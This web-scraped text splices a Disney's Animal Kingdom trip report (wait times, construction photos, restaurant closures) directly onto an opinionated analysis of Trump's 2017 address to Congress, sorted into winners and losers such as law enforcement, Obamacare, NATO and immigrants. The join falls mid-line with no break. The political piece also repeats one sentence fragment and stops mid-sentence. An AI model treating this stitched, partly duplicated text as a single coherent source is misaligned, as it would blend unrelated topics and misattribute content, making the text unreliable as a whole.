Waits continues to drop in the evening. You could fit three or four more rides on Everest in the final hour or walk on Safaris or something else. If you wanted another ride on Kali, it would be prudent to get in line a couple minutes before close. Attendance was a little higher than expected on this particular day due to a heavy storm the morning before. Wait times from Thursday the 23rd, another recommended day:
Larger: https://www.easywdw.com/reports13/ak42415.jpg
The weather necessitated the close of Expedition Everest for over an hour in the morning. Waits rose quickly for a while in the afternoon, but the Park emptied out as people were more or less able to walk on everything by 4pm with the 7pm close.
Projects continue inside and outside the Park. Some sort of repaving work is going on near disabled parking and the charter bus lot.
Not much of the Avatar construction is visible, but at least one show building towers above the tree line with multiple cranes doing work.
Larger: https://www.easywdw.com/reports13/topofeverest.jpg
From the top of Everest.
Larger: https://www.easywdw.com/reports13/riversof.jpg
Not much to see across the water.
Inopportune foliage.
Roof work continues at Flame Tree Barbecue, which is now expected to reopen no sooner than May 23rd.
The food it used to offer is still available at various nearby kiosks.
Very little, if any, work looks to have been completed in the seating area.
Discovery Outfitters is being expanded on both sides.
I got a kick out of the sign they stuck in front of the building that will soon be Starbucks. “There’s enough land here to hold all the ideas and plans we can possibly imagine.” Except there was no place to put the coffee store so they had to repurpose a shop.
Daisy continues to meet on the walk to Africa to mostly short waits.
The dock area behind her old meet and greet building has been removed.
More walls near Baby Care on the walk to Africa.
The morning stroll back to Kilimanjaro Safaris.
Oh, the front of the Theater in the Wild got a paint job.
That’s what’s going on at Animal Kingdom.President Donald Trump’s Tuesday night address to Congress was an unusually important occasion.
While it wasn’t technically a State of the Union, it served the same purpose: to outline his priorities and policy agenda for the coming year.
For many presidents, the SOTU can feel a bit rote. They reiterate policies they’ve already suggested in press releases or past years, trying in vain to get Congress to pass them anyway. It didn’t make news when George W. Bush called for privatizing Social Security in 2005; he’d been doing that for months. It didn’t make news when Barack Obama called on Congress to pass immigration reform in 2013; that was a longstanding priority of his.
But Trump is harder to pin down than his predecessor — for better and for worse. He is infamously prone to repeating the opinion of whoever spoke to him last, and the public is forced to resort to Kremlinological interpretations of his statements and those of key aides like Steve Bannon and Stephen Miller, along with leaks of behind-the-scenes infighting.
Tuesday night’s speech was Trump’s chance to clarify what he stood for and issue clear directives for what Congress should do on Obamacare, tax reform, infrastructure, and immigration. It was his chance to bring his party in line behind a specific, common agenda.
And … none of that happened. Instead, you got a repeat of his usual greatest rhetorical hits. So without anything more specific to go on, here are a few Kremlinological interpretations of what Trump said, and left unsaid.
Winner: law enforcement and the military
Trump’s critics sometimes interpret his martial rhetoric and encomia to law enforcement and military personnel as sinister — a sign of a leader who privileges institutions of state violence and would be unafraid to use them to secure his hold on power.
That remains debatable. All the same, it was striking how Trump not only offered rhetorical tribute to America’s men and women in uniform but also promised overflowing, Scrooge McDuck-esque piles of cash to the armed forces, as well as executive branch non-interference in the work of police officers.
“I am sending the Congress a budget that rebuilds the military, eliminates the Defense sequester, and calls for one of the largest increases in national defense spending in American history,” he declared, adding, “My budget will also increase funding for our veterans.”
He was less specific on his promises to law enforcement, but made it clear that Attorney General Jeff Sessions is not going to be commissioning the kinds of damning reports examining police department misconduct that Attorneys General Eric Holder and Loretta Lynch did. "We must work with — not against — the men and women of law enforcement," he said, emphasizing the phrase “not against” in case the implied swipe against anti–police brutality activists wasn’t clear. "We must support the incredible men and women of law enforcement. And we must support the victims of crime."
All this in a speech where the opening set of accomplishments included “a hiring freeze on nonmilitary and nonessential federal workers.” The message was clear: Law enforcement and soldiers are a protected class, to be shielded from the cuts affecting every other government activity (save perhaps for infrastructure).
Whether Trump will actually deliver all this remains to be seen. It’s easy enough for Sessions to neglect enforcement of civil rights laws as applied to local police and sheriffs, but Trump’s budget plan appears to raise defense spending a great deal less than he’s claiming, and the details on money for veterans are murky.
But the speech solidified cops and soldiers as the poster children of Trump’s brand of aggressive nationalism. His plans have always had villains — immigrants, Muslims, foreign workers — but establishing heroes is just as important for the message.
Loser: Obamacare repeal and replace
Here’s the grand total of the Obamacare repeal-and-replace plan, as offered in Trump’s speech:
First, we should ensure that Americans with preexisting conditions have access to coverage, and that we have a stable transition for Americans currently enrolled in the health care exchanges. Secondly, we should help Americans purchase their own coverage, through the use of tax credits and expanded health savings accounts — but it must be the plan they want, not the plan forced on them by the government. Thirdly, we should give our great state governors the resources and flexibility they need with Medicaid to make sure no one is left out. Fourthly, we should implement legal reforms that protect patients and doctors from unnecessary costs that drive up the price of insurance — and work to bring down the artificially high price of drugs, and bring them down immediately. Finally, the time has come to give Americans the freedom to purchase health insurance across state lines –- creating a truly competitive national marketplace that will bring cost way down and provide far better care.
With this, Sarah Kliff explained, Trump merely "told party leaders they are on the right track, but he did not provide any further direction or a pitch for unity." The plan Trump is describing above strongly matches the Better Way plan that House Speaker Paul Ryan and allies unveiled last summer. Both preserve a tax credit system to pay for insurance, expand health savings accounts, block-grant Medicaid and turn it over to the states, and demand insurance sales across state lines.
But think about what Trump left off:
He didn’t say whether the tax credits should be refundable, as in A Better Way and Obamacare, or nonrefundable, so that people not paying income taxes can’t benefit. A lot of conservatives in the House and Senate have denounced refundable credits as “Obamacare lite,” or “a major and unstoppable entitlement” because they redistribute money to pay for low-income people’s health care. It seems like Trump disagrees with that. But does he? And how does he plan to convince those skeptics?
Trump says he wants to kick Medicaid back to the states. Will he do that through a per capita cap or a full block grant, the latter of which would let states aggressively drop people from rolls? Should Medicaid expansion states continue to get federal money they started receiving under the ACA? Will all states see funding cuts? What about congressional Republicans who appear skeptical about all this?
How will Trump continue to ensure that people with preexisting conditions get coverage? Will the legal requirement remain? Some other weaker measure?
How will Trump’s plan keep healthy people buying insurance? Obamacare does this with the individual mandate. Will Trump require people to maintain insurance coverage continuously or else face penalties in the future — even though that could be unpopular for the same reasons as the individual mandate?
or else face penalties in the future — even though that could be unpopular for the same reasons as the individual mandate? Trump promises “a stable transition” for Obamacare enrollees. How? When would the law be phased out? How much time would enrollees get to find new arrangements? Will Trump sign a repeal bill before this transition is specified in law?
All of these things are controversial, all offend various stakeholders and please others, and each will provoke a major fight in Congress. Presidential guidance can help steer his party’s legislative path and minimize conflicts on these points. But Trump offered little to none.
Effectively, this was a punt back to Ryan: Trump is not going to step in and help him get the caucus in line. The result will be months more of wrangling over repeal options, with no clear path to passing anything.
Winner: NATO
This is sort of a “soft bigotry of low expectations” judgment, but it was nonetheless striking how much less critical of NATO and America’s European allies Trump was in this speech than he’s been in the past.
“We strongly support NATO — an alliance forged through the bonds of two world wars that dethroned fascism and a Cold War that defeated communism,” he began. It’s normally here, in a Trump speech, that the “but” comes. Recall that right before the inauguration, Trump reiterated his claim that the alliance is “obsolete.”
And sure enough, his next sentence was, “But our partners must meet their financial obligations.” And he continued this way: “And now, based on our very strong and frank discussions, they are beginning to do just that.”
What is this based on? Earlier this month, he declared the exact opposite:
We only ask that all of the NATO members make their full and proper financial contributions to the NATO alliance, which many of them have not been doing. Many of them have not been even close.
Trump’s claim is that in the span of less than a month, he managed to completely shift the defense spending priorities of an entire continent. This, suffice it to say, did not actually happen.
But if it’s what it takes for Trump to stop disrupting the Atlantic alliance structure, Angela Merkel and Theresa May probably won’t be complaining. To help matters, Trump made literally no reference of Russia, Vladimir Putin, or Syria, the major points of contention between him and our NATO partners (not to mention most other US politicians). He wasn’t standing down, but he was purposely not escalating this particular conflict.
Loser: immigrants of all kinds
Trump usually cloaks his anti-immigration rhetoric in security concerns. That was the rationale behind his Muslim ban proposal after the Paris attacks, and then his initial executive order restricting entry from several majority-Muslim countries. It was even present in his speech announcing his presidential run, when he declared, “When Mexico sends its people, they're not sending their best. … They're bringing drugs. They're bringing crime. They're rapists.”
But senior members of his team, including Steve Bannon and Stephen Miller, have always embraced a comprehensively nationalistic opposition to immigration, on the grounds that it endangers not only Americans’ safety but their economic livelihood. As Bannon said on a radio program with Miller in March 2016, "the beating heart of this problem" is that "we’ve looked the other way on this legal immigration." The problem isn’t just criminals |
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